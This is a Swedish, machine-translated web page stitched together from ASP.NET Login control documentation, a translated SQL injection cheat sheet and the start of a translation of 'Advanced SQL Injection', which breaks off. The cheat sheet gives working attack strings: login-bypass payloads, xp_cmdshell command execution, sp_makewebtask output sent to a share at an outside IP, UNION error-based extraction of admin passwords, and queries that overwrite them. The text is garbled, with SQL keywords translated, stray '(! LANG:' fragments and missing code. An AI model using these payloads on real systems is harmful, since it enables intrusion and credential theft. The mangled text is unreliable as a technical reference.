Detta material är en responsiv översättning av SQL Injection Cheat Sheet.

Inloggningskontroll

Inloggningskontrollen gör det enkelt att skapa en inloggningssida för formulärautentisering i samband med Membership API. Den tillhandahåller ett användargränssnitt som är färdigt att använda som frågar efter ett användarnamn och lösenord och ber om en knapp för att logga in användaren. Bakom kulisserna kapslar den in funktionalitet som beskrevs i en tidigare artikel: validering av användaridentiteter genom Membership API och inkapsling av grundläggande formulärbaserad autentiseringsfunktionalitet som att omdirigera till den ursprungligen begärda sidan i ett säkert applikationsområde efter en lyckad inloggning.

Det betyder att Login kapslar in saker som Membership.ValidateUser () eller FormsAuthentication.RedirectFromLoginPage (), så du behöver inte skriva den här koden själv. Bilden nedan visar inloggningskontrollen i aktion:

När användaren klickar på knappen Logga in validerar kontrollen automatiskt användarnamnet och lösenordet med funktionen Membership.ValidateUser () och anropar sedan FormsAuthenication.RedirectFromLoginPage () om valideringen lyckas. Alla alternativ för inloggningskontrollen påverkar indata som den levererar till dessa metoder. Om du till exempel markerar kryssrutan Kom ihåg mig nästa gång, kommer den att passera true i parametern createPersistentCookie för metoden RedirectFromLoginPage (). Därför skapar FormsAuthenticationModule en beständig cookie.

Behind the Scenes Login är en ASP.NET-kompositkontroll. Den är helt utdragbar - i den meningen att den låter dig åsidosätta alla layoutstilar och egenskaper, samt fånga upp genererade händelser för att åsidosätta dess standardbeteende. Om du lämnar kontrollen oförändrad och inte fångar några händelser, kommer den automatiskt att använda medlemsleverantören som är konfigurerad för applikationen.

Den enklaste formen av en inloggningskontroll på en sida ser ut så här:

Flera egenskaper tillhandahålls för att ändra utseendet på inloggningskontrollen. Du kan använda olika stilinställningar enligt nedan:

Dessutom kan du använda CSS-klasser för att anpassa utseendet på inloggning. Varje stilegenskap som stöds av inloggningskontrollen inkluderar en CssClass-egenskap. Som med alla ASP.NET-kontroller låter den här egenskapen dig ange namnet på CSS-klassen som tidigare lagts till på webbplatsen. Anta att du lade till följande CSS-stilmall till ditt projekt med filnamnet MyStyles.css:

MyLoginTextBoxStyle (markör: pekare; bakgrundsfärg: gul; textjustering: center; utfyllnad: 6px; kantlinje: prickad svart; font-family: Verdana; vertikal-justera: mitten;) .Logga in (display: inline-block;) .Titel (utfyllnad: 6px;)

Denna stilfil kan inkluderas på inloggningssidan för att kunna utforma inloggningselementet:

Följande tabell listar de stilar som stöds av inloggningskontrollen. Varje stil fungerar på samma sätt. Teckensnitt och färgegenskaper kan ställas in direkt, eller så kan du använda egenskapen CssClass för att ange önskad CSS-klass:

Stilar som stöds av inloggningskontrollen
Stil Beskrivning
CheckBoxStyle

Definierar stilegenskaperna för kryssrutan Kom ihåg mig nästa gång

FailureStyle

Definierar stilen för texten som visas vid misslyckad inloggning

HyperLinkStyle

Inloggningskontrollen låter dig definiera flera typer av hyperlänkar, till exempel till den första registreringssidan. Denna stil bestämmer utseendet på sådana hyperlänkar.

Instruktionstextstil

Inloggningskontrollen låter dig specificera hjälptexten som ska visas direkt i sig själv. Denna stil anger utseendet på denna text.

LabelStyle

Anger stilen för användarnamn och lösenordsetiketter

LoginButtonStyle

Definierar stilen på inloggningsknappen

TextBoxStyle

Anger stilen för textfälten Användarnamn och Lösenord

TitleTextStyle

Anger stilen för titeltexten för inloggningskontrollen

ValidatorTextStyle

Definierar stilar för kontroller som används för att validera användarnamn och lösenord

Inloggningselementets användargränssnitt är anpassningsbart genom mer än bara dessa stilar; andra ytterligare egenskaper är inriktade på specifika delar av kontrollens innehåll, såsom knappen Logga in, som också låter dig anpassa det grafiska gränssnittet.

Du kan till exempel välja texten som visas på inloggningsknappen, eller till och med visa en hyperlänk istället för den här knappen (som standard). Dessutom kan du lägga till flera hyperlänkar till inloggningskontrollen, till exempel en länk till en hjälpsida eller en registreringssida. Båda sidorna måste vara öppna för anonym åtkomst eftersom hjälp även måste erbjudas till anonyma användare (kom ihåg att om någon ser inloggningskontrollen är de en potentiellt anonym användare). För att inkludera ytterligare länkar i inloggning, ändra den tidigare visade definitionen enligt följande:

...

Den här koden visar ytterligare två länkar, en till hjälpsidan och en till den första registreringssidan, och lägger till en kort instruktionstext under rubriken för inloggningselementet:

Stilarna som beskrivits tidigare gäller även för dessa egenskaper. Tabellen nedan beskriver de viktiga egenskaperna för att anpassa inloggningskontrollen:

Viktiga egenskaper för att anpassa inloggningskontrollen
Fast egendom Beskrivning
Meddelandetext
Titeltext

Texten som visas i kontrollens titel

Instruktionstext

Den här egenskapen har redan använts i det tidigare kodavsnittet. Innehåller texten som visas under kontrollens titel

FailureText

Texten som visas av inloggningskontrollen om inloggningsförsöket misslyckas

AnvändarnamnLabelText

Text visas som en etikett före användarnamnets textfält

PasswordLabelText

Text visas som en etikett före textfältet för användarens lösenord

Användarnamn

Det initiala värdet som fyller i textrutan för användarnamn

UsernameRequiredErrorMessage

Felmeddelande visas om användaren inte angav ett namn

PasswordRequiredErrorMessage

Felmeddelande visas om användaren inte angav något lösenord

Inloggningsknapp
LoginButtonText

Text som visas på inloggningsknappen

LoginButtonType
LoginButtonImageUrl

Om inloggningsknappen visas som en grafisk bild måste du ange URL:en där bilden finns

Login sida
DestinationPageUrl

Om inloggningsförsöket lyckas omdirigerar inloggningskontrollen användaren till den här sidan. Den här egenskapen är tom som standard. Empty använder Forms Authentication Framework för att omdirigera till antingen den ursprungliga begärda sidan eller standardwebbadressen som konfigurerats i web.config för Forms Authentication

FailureAction

Bestämmer åtgärden som kontrollen vidtar efter ett misslyckat inloggningsförsök. Två giltiga alternativ är Refresh och RedirectToLoginPage. Det första värdet uppdaterar bara den aktuella sidan, medan det andra omdirigerar till den konfigurerade inloggningssidan. Det andra alternativet är användbart om inloggningskontrollen används någon annanstans än på inloggningssidan

Synlig När Inloggad

Om den är inställd på false kommer kontrollen automatiskt att dölja sig själv om användaren redan är inloggad. Om den är inställd på true (standard) visas inloggningselementet även om användaren är inloggad

Konfigurera en Remember Me-etikett
DisplayRememberMe

Visar eller döljer kryssrutan Kom ihåg mig nästa gång. Som standard är den här egenskapen inställd på true

RememberMeSet

Anger standardvärdet för kryssrutan Kom ihåg mig nästa gång. Som standard är den här egenskapen inställd på false, dvs. kryssrutan är inte markerad

Registreringssida
CreateUserUrl

Definierar en hyperlänk till en sida på en webbplats som låter dig skapa (registrera) en användare. Därför används det vanligtvis för att ge användaren tillgång till den första registreringssidan. Detta visar vanligtvis kontrollen CreateUserWizard.

CreateUserText
CreateUserIconUrl

URL till den grafiska bilden som visas tillsammans med hyperlänktexten för CreateUserUrl

Hjälpsida
HelpPageUrl

URL för att omdirigera användaren till hjälpsidan

HelpPageText
HelpPageIconUrl

URL-adressen till ikonen som visas tillsammans med HelpPageUrl-hyperlänkstexten

Sidan för lösenordsåterställning
PasswordRecoveryUrl

URL för att omdirigera användaren till sidan för lösenordsåterställning. Denna sida gäller när användaren har glömt sitt lösenord. Den visar vanligtvis en PasswordRecovery-kontroll

PasswordRecoveryText
PasswordRecoveryIconUrl

URL:en till ikonen visas tillsammans med Hyperlänktexten PasswordRecoveryUrl

Inloggningsmallar och kontroll

Som du kan se gör alla dessa egenskaper inloggningskontrollen mycket flexibel. Men som du säkert har märkt är det omöjligt att definiera något uttryck för att validera inmatningen. Det är naturligtvis möjligt att implementera validering på serversidan i händelseprocedurerna som erbjuds av inloggningskontrollen. När du behöver lägga till några element till den sammansatta inloggningskontrollen kan detta inte göras genom egenskaperna som presenteras ovan. Till exempel, vad händer om du behöver en andra textruta för stark autentisering med ett andra lösenord eller anpassad lösenord, som vissa statliga webbplatser gör?

Som tur är, liksom andra kontroller som GridView, stöder inloggningskontrollen mallar. Med hjälp av mallar kan du anpassa innehållet i inloggningskontrollen utan några begränsningar. Alla nya kontroller kan läggas till. Tillämpar en anpassad mall på inloggningskontrollen med hjälp av ett handtag Layoutmall:

Logga in

Användarnamn:
Lösenord:


Om du tittar på koden ovan uppstår en fråga: om du måste skriva så mycket användargränssnittskod (eller designa den i en visuell designer) när du skapar en mall, varför inte skriva din egen inloggningssida utan att använda inloggningskontrollen?

Detta är den rätta frågan. Men som förklarats tidigare är frontend bara en del av inloggningselementet. Till exempel, om användaren klickar på inloggningsknappen, har inloggningskontrollen redan all nödvändig kod för att automatiskt validera användaren mot medlemsbutiken och omdirigera den till den ursprungliga begärda sidan genom formulärets autentiseringsramverk. Så du är definitivt räddad från att behöva skriva den här koden.

Med rätt kontroller och rätt identifierarvärden för dessa kontroller behöver du inte skriva händelsehanteringskod. Koden fungerar på vanligt sätt, förutom att du definierar en uppsättning kontroller och deras layout. I verkligheten kräver inloggningskontrollen minst två textfält, användarnamn och lösenord. Om dessa två textfält saknas (eller har olika identifierarvärden), kommer inloggning att skapa ett undantag. Alla andra kontroller är valfria, men om du anger ett lämpligt identifieringsvärde (som Logga in för en inloggningsknapp), kommer Login automatiskt att hantera deras händelser och bete sig som om standardlayouten tillämpas.

Tabellen nedan listar de speciella värdena för identifierare, de elementtyper som krävs för dem och den obligatoriska flaggan:

Kontrollen med inloggningsidentifieraren kan vara vad som helst som stöder bubbelförökning och egenskapen CommandName. Det är viktigt att ställa in CommandName-egenskapen för detta element till Login, eftersom annars kommer inloggningskontrollen inte att känna igen den under händelsehantering. Om du inte lägger till en kontroll med CommandName-egenskapen inställd på Login, måste du hantera händelserna själv och skriva lämplig kod för att validera användarnamnet och lösenordet och omdirigera till den ursprungliga begärda sidan.

Du kan också lägga till kontroller med andra ID:n som inte alls har med inloggning att göra. Ovanstående kod använde RequiredFieldValidator- och RegularExpressionValidator-elementen för att validera fälten för användarnamn och lösenord.

När du använder layoutmallen är många av kontrollens inbyggda egenskaper inte längre tillgängliga. När en mall används förblir endast följande egenskaper tillgängliga:

    DestinationPageUrl

    Synlig När Inloggad

  • MembershipProvider

Alla stilegenskaper och några egenskaper för att anpassa textinnehållet i elementen som standard är inte längre tillgängliga i Visual Studio Property Editor eftersom de kan läggas till manuellt som separata kontroller eller statisk text till inloggningselementmallen. Om du lägger till dem i inloggningselementet i mallläge kommer de helt enkelt att ignoreras, eftersom mallen åsidosätter standardgränssnittet för inloggningselementet, vilket drar fördel av dessa egenskaper.

Inloggningskontrollprogrammering

Inloggningskontrollen stöder flera händelser och egenskaper som du kan använda för att anpassa dess beteende. De ger fullständig kontroll över finjusteringen av inloggningskontrollen (tillsammans med andra anpassningsverktyg som mallar och stilegenskaper). Inloggningskontrollen stöder händelserna som anges i tabellen nedan:

Inloggningskontrollhändelser
Händelse Beskrivning
Loggar in

Initieras strax före användarautentisering av kontrollen

Inloggad

Avfyras efter att användaren har autentiserats av kontrollen

Inloggningsfel

Utlöses när en användare misslyckas med att logga in av någon anledning (till exempel ett felaktigt lösenord eller användarnamn)

Autentisera

Utlöst för användarautentisering. Om du hanterar denna händelse måste du autentisera användaren själv och inloggningskontrollen kommer att förlita sig helt på din autentiseringskod.

De tre första händelserna kan hanteras för att utföra vissa åtgärder före användarautentisering, efter autentisering och i händelse av ett fel under autentisering. Till exempel kan LoginError-händelsen användas för att automatiskt omdirigera användaren till sidan för lösenordsåterställning efter ett visst antal inloggningsförsök, som visas nedan:

Skyddad void Page_Load (objektavsändare, EventArgs e) (om (! This.IsPostBack) ViewState ["LoginErrors"] = 0;) skyddad void Login1_LoginError (objektavsändare, EventArgs e) (// Om tillståndet LoginErrors inte existerar, skapa it if (ViewState ["LoginErrors"] == null) ViewState ["LoginErrors"] = 0; // Öka räknaren för misslyckade inloggningsförsök int ErrorCount = (int) ViewState ["LoginErrors"] + 1; ViewState ["LoginErrors" "] = ErrorCount ; // Kontrollera antalet misslyckade försök om ((ErrorCount> 3) && (Login1.PasswordRecoveryUrl! = String.Empty)) Response.Redirect (Login1.PasswordRecoveryUrl);)

Inloggningskontrollen genererar händelser i den ordning som visas i bilden nedan:

Som nämnts tidigare, om du avlyssnar Authenticate-händelsen måste du lägga till ditt eget användarnamn och lösenordsverifieringskod. Fast egendom Autentisera underhåller en instans av parameterlistan AuthenticateEventArgs. Denna händelseargumentklass stöder en egenskap som heter Authenticated. Om inställningen är true antar inloggningskontrollen att autentiseringen lyckades och höjer LoggedIn-händelsen. Om du ställer in den här egenskapen till false, visas FailureText och händelsen LoginError uppstår:

Skyddat void Login1_Authenticate (objektavsändare, AuthenticateEventArgs e) (if (Membership.ValidateUser (Login1.UserName, Login1.Password)) (e.Authenticated = true;) else (e.Authenticated = false;))

Som du kan se finns det direkt tillgång till de angivna värdena genom egenskaperna Användarnamn och Lösenord, som innehåller texten som skrivs in i motsvarande textrutor. Om du använder mallade kontroller och vill få ett värde från en annan kontroll, förutom användarnamnet och lösenordet, kan du använda metoden FindControl () för att få denna extra kontroll. Denna metod tar ID:t för det önskade objektet och returnerar en instans av System.Web.UI.Control. Det resulterande objektet castas sedan helt enkelt till typen av önskad kontroll, och värdet som krävs av den anpassade autentiseringsmetoden för användaren läses.

Den här artikeln innehåller inga nya sanningar, SQL-injektion är allmänt beskriven och flitigt använd. Den här artikeln är mer avsedd för nybörjare, men kanske proffs kan hitta ett nytt knep eller två.

Den här artikeln är avsedd att hjälpa nybörjare att hantera de problem de kan stöta på när de använder SQL Injection-tekniken, använda den framgångsrikt och kunna försvara sig mot sådana attacker.

Introduktion

När servern av intresse bara har port 80 öppen, och sårbarhetsskannern inte kan rapportera något intressant, och du vet att systemadministratören alltid mycket snabbt installerar alla patchar på webbservern, är vår sista chans ett webbhack. SQL-injektion är en av de typer av webbhackning som bara använder port 80 och kan fungera även med rätt tid installerade patchar. Denna attack är mer riktad mot webbapplikationer (som ASP, JSP, PHP, CGI, etc.) än direkt mot webbservern eller tjänsterna i operativsystemet.

Den här artikeln innehåller inga nya sanningar, SQL-injektion är allmänt beskriven och flitigt använd. Den här artikeln är mer avsedd för nybörjare, men kanske proffs kan hitta ett nytt knep eller två. Jag rekommenderar också att du tittar på länkarna i slutet av artikeln för mer detaljerad information från experter inom detta område.

1.1 Vad är SQL Injection?

SQL Injection är en metod designad för att injicera SQL-fråga s / kommandon via webbsidor. Många webbsidor använder parametrar som presenteras för webbanvändare och frågar databasen i SQL. Låt oss ta till exempel fallet med en användarinloggning, när det finns en webbsida med namn och lösenord och en SQL-fråga görs i databasen för att kontrollera om det finns en registrerad användare med ett sådant namn och lösenord. Med SQL Injection är det möjligt att skicka ett fiktivt användarnamn och/eller lösenordsfält som modifierar SQL-frågan, vilket kan ge oss något intressant.

2.0 Vad ska vi leta efter

Försök att hitta sidor som ber dig om data, till exempel en söksida, en diskussionssida, etc. Ibland använder html-sidor POST-metoden för att skicka kommandon till en annan webbsida. I det här fallet kommer du inte att se parametrarna i URL:en. Men i det här fallet kan du söka efter "FORM"-taggen i HTML-sidornas källkod. Du hittar något sånt här:



Alla parametrar mellan

och
kan potentiellt vara sårbara för SQL-injektion.

2.1 Vad händer om du inte kan hitta en sida som använder input?

Leta efter sidor som ASP-, JSP-, CGI- eller PHP-webbsidor. Försök att hitta sidor som använder parametrar som:

3.0. Hur kan jag verifiera att det jag har hittat är sårbart?

Försök att börja med ett enda citat. Ange följande rad:

hej "eller 1 = 1--

i användarnamnet eller lösenordsfältet, eller till och med i URL-parametern. Exempel:

Inloggning: hej "eller 1 = 1--
Godkänt: hej "eller 1 = 1--
http: //duck/index.asp? id = hej "eller 1 = 1--

Om du har gjort detta med ett dolt fält, ladda bara ner den ursprungliga HTML-koden, spara den på din hårddisk, ändra URL-adressen och det dolda fältet i enlighet med detta. Exempel:



Om du har tur kommer du att loggas in utan användarnamn eller lösenord.

3.1 Men varför "eller 1 = 1--?"

Låt oss titta på ett annat exempel som förklarar användbarheten av "eller 1 = 1--"-konstruktionen. Förutom att kringgå registreringen kan du också titta på ytterligare information som vanligtvis inte är tillgänglig. Överväg en asp-sida som länkar till en annan sida med följande URL:

http: //duck/index.asp? kategori = mat

I webbadressen är "category" namnet på variabeln och "food" är värdet som tilldelas variabeln. För att göra detta kan asp-sidan innehålla följande kod:

v_cat = begäran ("kategori")
sqlstr = "VÄLJ * FRÅN produkt WHERE PCategory =" "& v_cat &" ""
set rs = conn.execute (sqlstr)

som du kan se kommer vår variabel att slås samman med v_cat och därför bör SQL-frågan bli:

VÄLJ * FRÅN produkt WHERE PCategory = "mat"

Den här frågan bör returnera en samling av en eller flera rader som matchar WHERE-satsen, i det här fallet "mat". Låt oss nu ändra webbadressen så här:

http: //duck/index.asp? kategori = mat "eller 1 = 1--
VÄLJ * FRÅN produkt WHERE PCategory = "mat" eller 1 = 1-- '

Denna fråga kommer att returnera alla rader i produkttabellen, oavsett om Pcategory är "mat" eller inte. Det dubbla bindestrecket "-" säger åt MS SQL Server att ignorera resten av frågan som följer efter det enkla citattecken ("). Ibland kan du ersätta det dubbla bindestrecket med ett skarpt" # ".

Men om du använder en icke-SQL-server, eller om du inte kan ignorera resten av frågan, försök:

"eller" a "=" a

Nu blir SQL-frågan:

VÄLJ * FRÅN produkt WHERE PCategory = "mat" eller "a" = "a"

Denna begäran kommer att returnera samma resultat.

Beroende på den faktiska SQL-frågan kan du behöva prova några av dessa möjligheter:

"eller 1 = 1--
"eller 1 = 1--
eller 1 = 1--
"eller" a "=" a
"eller" a "=" a
") eller (" a "=" a

4.0 Hur kan du köra kommandon på distans med hjälp av SQL-injektion?

Möjligheten att ange ett SQL-kommando innebär vanligtvis att vi kan köra SQL-frågor efter behag. Standardinstallationen av MS SQL Server utförs med systemrättigheter. Vi kan anropa inbyggda procedurer som master..xp_cmdshell för att fjärrexekvera godtyckliga kommandon:

"; exec master..xp_cmdshell" ping 10.10.1.2 "-

Försök använda dubbla citattecken(") om (") misslyckas.

Semikolonet avslutar den aktuella SQL-frågan och låter dig köra nya SQL-kommandon. För att kontrollera om kommandot slutfördes framgångsrikt kan du kontrollera ICMP-paketen i 10.10.1.2 för att se om de innehåller några paket från den sårbara servern:

http:// site /? id = 31610

Om du inte har fått någon pingbegäran från servern och du får ett felmeddelande som indikerar ett behörighetsfel, är det möjligt att din administratör har begränsad åtkomst Webbanvändare till lagrade procedurer.

5.0 Hur får jag resultaten av min SQL-fråga?

Du kan använda sp_makewebtask för att skriva din begäran i HTML:

"; EXEC master..sp_makewebtask" \\ 10.10.1.3 \ share \ output.html "," VÄLJ * FRÅN INFORMATION_SCHEMA.TABLER "

Den angivna IP-adressen måste ha en "share"-mapp med åtkomst för alla.

6.0 Hur får man data från en databas med ODBC-felmeddelande?

Vi kan använda informationen från felmeddelandet som genereras av SQL-servern för att hämta all data. Tänk till exempel på följande sida:

http://duck/index.asp? id = 10

Nu ska vi försöka sammanfoga heltal '10' med en annan sträng i databasen:

http: //duck/index.asp? id = 10 UNION VÄLJ TOP 1 TABLE_NAME FRÅN INFORMATION_SCHEMA.TABLER--

Systemtabellen INFORMATION_SCHEMA.TABLES innehåller information för alla tabeller på servern.

Fältet TABLE_NAME innehåller uppenbarligen namnet på varje tabell i databasen. Hon valdes för att vi vet att hon alltid finns. Vår begäran:

VÄLJ TOP 1 TABLE_NAME FRÅN INFORMATION_SCHEMA.TABLES--

Denna fråga returnerar förnamnet i databasen. När vi UNION detta strängvärde till heltal 10 kommer MS SQL Server att försöka konvertera nvarchar-strängen till heltal. Detta kommer att visa ett fel som säger att det inte kan konvertera nvarchar till int. Servern kommer att skicka följande fel:


Syntaxfel vid konvertering av nvarchar-värdet "(! LANG: tabell1" to a column of data type int. !}
/index.asp, rad 5

Felmeddelandet innehåller information om ett värde som inte kan konverteras till ett heltal. I det här fallet fick vi namnet på den första tabellen - "tabell1".

För att få nästa tabellnamn kan vi använda följande fråga:

http: //duck/index.asp? id = 10 UNION VÄLJ TOP 1 TABLE_NAME FRÅN INFORMATION_SCHEMA.TABLER DÄR TABLE_NAME INTE I ("Table1") -

Vi kan också söka efter data med LIKE-tangenten:

http: //duck/index.asp? id = 10 UNION VÄLJ TOP 1 TABLE_NAME FRÅN INFORMATION_SCHEMA.TABLER DÄR TABLE_NAME SOM "% 25login% 25" -

Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e07" Syntaxfel vid konvertering av nvarchar-värdet "(! LANG: admin_login" to a column of data type int. !} /index.asp, rad 5

Motsvarande konstruktion "% 25login% 25" kommer att ersättas med% login% i SQL-servern. I det här fallet kommer vi att få namnet på tabellen som matchar "admin_login"-kriteriet.

6.1 Hur får jag reda på alla kolumnnamn i en tabell?

Vi kan använda tabellen INFORMATION_SCHEMA.COLUMNS för att visa alla kolumnnamn i tabellen:

http: //duck/index.asp? id = 10 UNION VÄLJ TOP 1 COLUMN_NAME FRÅN INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = "admin_login" -

Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e07"
Syntaxfel vid konvertering av nvarchar-värdet "(! LANG: login_id" to a column of data type int. !}
/index.asp, rad 5

Nu när vi vet det första kolumnnamnet kan vi använda NOT IN () för att få namnet på nästa kolumn:

http: //duck/index.asp? id = 10 UNION VÄLJ TOP 1 COLUMN_NAME FRÅN INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = "admin_login" WHERE COLUMN_NAME INTE I ("login_id") -

Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e07"
Syntaxfel vid konvertering av nvarchar-värdet "(! LANG: login_name" to a column of data type int. !}
/index.asp, rad 5

Fortsätter vi får vi resten av kolumnnamnen, d.v.s. "lösenord", "detaljer" tills vi får nästa fel.

http: //duck/index.asp? id = 10 UNION VÄLJ TOP 1 COLUMN_NAME FRÅN INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = "admin_login" VAR COLUMN_NAME INTE I ("login_id", "login_name", "password", detaljer ") -

Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e14"
ORDER BY-objekt måste visas i urvalslistan om satsen innehåller en UNION-operator.
/index.asp, rad 5

6.2. Hur får vi den data vi behöver?

Nu när vi har identifierat några viktiga tabeller kan vi använda samma teknik för att hämta information från databasen.

Låt oss hämta det första login_name från tabellen "admin_login":

http: //duck/index.asp? id = 10 UNION VÄLJ TOP 1 login_name FROM admin_login--

Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e07"
Syntaxfel vid konvertering av nvarchar-värdet "(! LANG: neo" to a column of data type int. !}
/index.asp, rad 5

Vi vet nu att det finns en administratörsanvändare med inloggningen "neo". Slutligen kan vi få lösenordet "neo":

http: //duck/index.asp? id = 10 UNION VÄLJ TOP 1 lösenord FRÅN admin_login där login_name = "neo" -

Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e07"
Syntaxfel vid konvertering av nvarchar-värdet "(! LANG: m4trix" to a column of data type int. !}
/index.asp, rad 5

Vi kommer nu att kunna logga in som "neo" med lösenordet "m4trix".

6.3 Hur får jag det numeriska värdet på en sträng?

Det finns en begränsning i metoden som beskrivs ovan. Vi kan inte få ett felmeddelande om vi försöker konvertera text som består av ett tal (endast tecken mellan 0 ... 9). Vi kommer nu att beskriva hur man hämtar lösenordet "31173" från användaren "trinity":

http: //duck/index.asp? id = 10 UNION VÄLJ TOP 1 lösenord FRÅN admin_login där login_name = "trinity" -

Vi kommer förmodligen att få en "Sida Hittades inte". Anledningen är att lösenordet" 31173 "kommer att konverteras till ett tal, före UNION med ett heltal (i vårt fall, 10). Eftersom det korrekta UNION-uttrycket erhålls kommer SQL-servern inte att ge ett felmeddelande, och därför kan vi inte få numerisk notation.

För att lösa detta problem kan vi lägga till en numerisk sträng med några bokstäver i slutet för att förhindra att konverteringen går igenom. Ändrad fråga:

http: //duck/index.asp? id = 10 UNION VÄLJ TOP 1 konvertera (int, lösenord% 2b "% 20morpheus") FRÅN admin_login där login_name = "trinity" -

Vi använder bara plustecknet (+) för att avsluta lösenordet med valfri text (ASSCII-kodning för "+" = 0x2b). Sedan lägger vi till "% 20morpheus" i slutet av det faktiska lösenordet. Därför, även om lösenordsvärdet är "31173", blir det "31173 morpheus". Genom att manuellt anropa konvertera ()-funktionen och försöka konvertera "31173 morpheus" till ett heltal, kommer SQL Server att utfärda ett ODBC-felmeddelande:

Microsoft OLE DB Provider för ODBC-drivrutiner fel "80040e07"
Syntaxfel vid konvertering av nvarchar-värdet "(! LANG: 31173 morpheus" to a column of data type int. !}
/index.asp, rad 5

Vi kommer nu att kunna logga in som "trinity" med lösenordet "31173".

7.0 Hur ändrar/infogar man data i databasen?

Efter att vi har fått namnen på alla kolumner i tabellen kan vi uppdatera (UPPDATERA) eller till och med infoga (INSERT) nytt inlägg till bordet. Till exempel kan vi ändra lösenordet för "neo":

http: //duck/index.asp? id = 10; UPPDATERA "admin_login" SET "password" = "newpas5" VAR login_name = "neo--

Så här infogar du en ny post i databasen:

http: //duck/index.asp? id = 10; INFO I "admin_login" ("login_id", "login_name", "lösenord", "detaljer") VÄRDEN (666, "neo2", "newpas5", "NA") -

Vi kommer nu att kunna logga in som "neo" med lösenordet "newpas5".

8.0 Hur undviker man SQL-injektion?

Filtrera Specialsymboler på alla rader i:

Alla data som användaren har angett
- URL-parametrar
- Kaka

För numeriska värden, konvertera dem till heltal innan du skickar dem till SQL-frågan. Eller använd ISNUMERIC för att se till att det är ett heltal.

Kör SQL Server som en oprivilegierad användare.

Ta bort oanvända lagrade procedurer: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

Detta arbete är en översättning av en del av Chris Anleys Advanced SQL Injection In SQL Server Applications. ()
I efterföljande artiklar, beroende på tillgängligheten av ledig tid, kommer denna översättning att slutföras.

P.S. Översättningen blir mer intressant för pedagogiska och historiska ändamål.

Originalartikeltitel: Advanced SQL Injection in SQL Applications.

anteckning

Den här artikeln diskuterar i detalj de allmänna metoderna för "SQL-injektion", för en känd plattform Microsoft Internet Information Server / Active Server Pages / SQL Server. Den diskuterar de olika användningsområdena för SQL-injektion i applikationer och förklarar metoder för att validera data och säkra databaser där injektion kan användas.

Introduktion

Structured Query Language (SQL) är ett strukturerat språk som används för att interagera med databaser. Det finns många "dialekter" av SQL-språket, men idag är de flesta baserade på SQL-92-standarden, en av de tidigaste ANSI-standarderna. Det huvudsakliga operationsblocket i SQL är en fråga, som är en samling uttryck som vanligtvis returnerar en resultatuppsättning. SQL-uttryck kan modifiera strukturen för databaser (med hjälp av Data Definition Language (DLL)-uttryck) och manipulera deras innehåll (med hjälp av Data Manipulation Language-uttryck (DML). I detta dokument kommer vi att titta på transact-SQL som används i Microsoft SQL Server.

SQL-injektion är möjlig när en angripare kan infoga sin egen SQL i en fråga för att manipulera data som skickas till applikationen.

En typisk SQL-sats ser ut så här:

Välj id, förnamn, efternamn från författare

Detta uttryck tar "id", "förnamn" och "efternamn" från kolumnerna i tabellen "författare" och returnerar alla rader i tabellen. Urvalet kan begränsas av en viss "författare", till exempel:

Välj id, förnamn, efternamn från författare där förnamn = "john" och efternamn = "smed"

Det bör noteras att i den här frågan separeras bokstavssträngar med ett enda citattecken. Det antas att "förnamn" och "efternamn" är användarinmatning. I det här fallet kommer en angripare att kunna ange sin egen SQL-fråga genom att lägga till sina egna värden till applikationen. Till exempel:

Förnamn: jo "hn Efternamn: smith

Då kommer uttrycket att ha följande form:

Välj id, förnamn, efternamn från författare där förnamn = "jo" hn "och efternamn = smith "

Efter att databasen försöker bearbeta en sådan begäran kommer följande fel att returneras:

Server: Msg 170, Level 15, State 1, Line 1 Rad 1: Felaktig syntax nära "hn".

Orsaken till felet kommer att vara att det inmatade citatet kommer att förstöra strukturen för avgränsningstecken i frågan. Således kommer databasen att utan framgång försöka utföra kommandot "hn", vilket kommer att resultera i ett fel. Som ett resultat, om en angripare anger följande information i formuläret:

Förnamn: jo "; släpptabellförfattare-- Efternamn:

Tabellen "författare" kommer att tas bort, så vi ska titta på varför senare.

Du kanske tror att om vi tar bort enstaka citat från inmatningsformuläret, och även "ersätter" dem, kan detta lösa vårt problem. Och du kommer att ha rätt, men det finns några problem med att använda den här metoden som en lösning på detta problem. För det första är inte all användarinmatning "strängar". Där det anpassade formuläret kommer att innehålla författarens "id", vilket vanligtvis är ett nummer. Till exempel kan vår begäran se ut så här:

Välj id, förnamn, efternamn från författare där id = 1234

I det här fallet kan en angripare enkelt lägga till valfri SQL-sats efter numeriska data. I andra varianter av SQL-frågor används olika avgränsare. Till exempel, i Microsoft Jet DBMS är avgränsaren "#". För det andra är det inte på något sätt det enklaste sättet att skydda sig själv att "fly" enstaka citat, som det kan tyckas till en början. Vi kommer att prata om detta mer i detalj senare.

Här är ett exempel baserat på en Active Server Pages (ASP) inloggningssida som använder SQL för att komma åt en databas för att auktorisera en användare i ett program.

Här är koden för sidan som innehåller inloggningsformuläret, där användarnamn och lösenord skrivs in.

Login sida

Logga in

Användarnamn:
Lösenord:

Nedan finns koden (process_login.asp) som bestämmer riktigheten av de inmatade uppgifterna.